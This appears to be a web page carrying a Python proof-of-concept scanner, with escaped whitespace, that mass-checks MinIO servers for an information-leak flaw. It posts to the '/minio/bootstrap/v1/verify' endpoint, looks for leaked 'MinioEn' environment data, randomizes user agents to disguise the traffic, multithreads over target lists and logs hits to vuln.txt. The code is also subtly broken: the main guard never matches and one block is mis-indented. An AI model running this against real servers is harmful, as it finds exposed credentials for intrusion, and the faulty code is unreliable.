Minio 漏洞检测脚本：快速识别并验证目标URL

import\x20requests\nimport\x20sys\nimport\x20urllib3\nfrom\x20argparse\x20import\x20ArgumentParser\nimport\x20concurrent\x2efutures\nfrom\x20urllib\x20import\x20parse\nfrom\x20time\x20import\x20time\nimport\x20random\n\nurllib3\x2edisable_warnings(urllib3\x2eexceptions\x2eInsecureRequestWarning)\nfilename\x20=\x20sys\x2eargv[1]\nurl_list=[]\n\ndef\x20get_ua():\n\x20\x20first_num\x20=\x20random\x2erandint(55,\x2062)\n\x20\x20third_num\x20=\x20random\x2erandint(0,\x203200)\n\x20\x20fourth_num\x20=\x20random\x2erandint(0,\x20140)\n\x20\x20os_type\x20=\x20[\n\x20\x20\x20\x20'(Windows\x20NT\x206.1;\x20WOW64)',\x20'(Windows\x20NT\x2010.0;\x20WOW64)',\n\x20\x20\x20\x20'(Macintosh;\x20Intel\x20Mac\x20OS\x20X\x2010_12_6)'\n\x20\x20]\n\x20\x20chrome_version\x20=\x20'Chrome/{}.0.{}.{}'.format(first_num,\x20third_num,\x20fourth_num)\n\n\x20\x20ua\x20=\x20' '\x2ejoin(['Mozilla/5.0',\x20random\x2echoice(os_type),\x20'AppleWebKit/537.36',\n\x20\x20\x20\x20\x20'(KHTML,\x20like\x20Gecko)',\x20chrome_version,\x20'Safari/537.36']\n\x20\x20\x20\x20\x20\x20)\n\x20\x20return\x20ua\n\nproxies={'http':\x20'http://127.0.0.1:7890',\n\x20\x20'https':\x20'https://127.0.0.1:7890'}\n\ndef\x20write_targets(vurl,\x20filename):\n\x20\x20with\x20open(filename,\x20"a+")\x20as\x20f:\n\x20\x20\x20\x20f\x2ewrite(vurl\x20+\x20"\n")\n\n#poc\ndef\x20check_url(url):\n\x20\x20url=parse\x2eurlparse(url)\n\x20\x20hostname\x20\x20=\x20url\x2ehostname\n\x20\x20url=url\x2escheme\x20+\x20'://' +\x20url\x2enetloc\n\x20\x20vulnurl=url\x20+\x20"/minio/bootstrap/v1/verify"\n\x20\x20headers\x20=\x20{\n\x20\x20\x20\x20'User-Agent':\x20get_ua(),\n\x20\x20\x20\x20"host":hostname,\n\x20\x20\x20\x20"Content-Type":\x20"application/x-www-form-urlencoded"\n\x20\x20}\n\x20\x20data=""\n\x20\x20try:\n\x20\x20\x20\x20res\x20=\x20requests\x2epost(vulnurl,\x20verify=False,\x20allow_redirects=False,\x20headers=headers,data=data\x20,timeout=5)\n\x20\x20\x20\x20if\x20res\x2estatus_code\x20==\x20200\x20and\x20"MinioEn"\x20in\x20res\x2etext:\n\x20\x20\x20\x20\x20\x20#\x20print(res\x2etext)\n\x20\x20\x20\x20\x20\x20print("\033[32m[+]{} is vulnerable\033[0m".format(url))\n\x20\x20\x20\x20\x20\x20write_targets(vulnurl,"vuln.txt")\n\x20\x20\x20\x20else:\n\x20\x20\x20\x20\x20\x20print("\033[34m[-]{} not vulnerable.\033[0m".format(url))\n\x20\x20\x20\x20except\x20Exception\x20as\x20e:\n\x20\x20\x20\x20\x20\x20print("\033[34m[!]{} request false.\033[0m".format(url))\n\x20\x20\x20\x20\x20\x20pass\n\n#多线程\ndef\x20multithreading(url_list,\x20pools=10):\n\x20\x20with\x20concurrent\x2efutures\x2eThreadPoolExecutor(max_workers=pools)\x20as\x20executor:\n\x20\x20\x20\x20executor\x2emap(check_url,\x20url_list)\n\nif\x20__name__\x20==\x20'main':\n\x20\x20arg=ArgumentParser(description='check_url\x20By\x20m2')\n\x20\x20arg\x2eadd_argument("-u",\n\x20\x20\x20\x20\x20\x20\x20"--url",\n\x20\x20\x20\x20\x20\x20\x20help="Target\x20URL;\x20Example:http://ip:port")\n\x20\x20arg\x2eadd_argument("-f",\n\x20\x20\x20\x20\x20\x20\x20"--file",\n\x20\x20\x20\x20\x20\x20\x20help="Target\x20URL;\x20Example:url.txt")\n\x20\x20args=arg\x2eparse_args()\n\x20\x20url=args\x2eurl\n\x20\x20filename=args\x2efile\n\x20\x20print("[+]任务开始.....")\n\x20\x20start=time()\n\x20\x20if\x20url\x20!=\x20None\x20and\x20filename\x20==\x20None:\n\x20\x20\x20\x20check_url(url)\n\x20\x20elif\x20url\x20==\x20None\x20and\x20filename\x20!=\x20None:\n\x20\x20\x20\x20for\x20i\x20in\x20open(filename):\n\x20\x20\x20\x20\x20\x20i=i\x2ereplace('\n','')\n\x20\x20\x20\x20\x20\x20url_list\x2eappend(i)\n\x20\x20\x20\x20multithreading(url_list,\x2010)\n\x20\x20end=time()\n\x20\x20print('任务完成,用时%ds.'\x20%(end-start))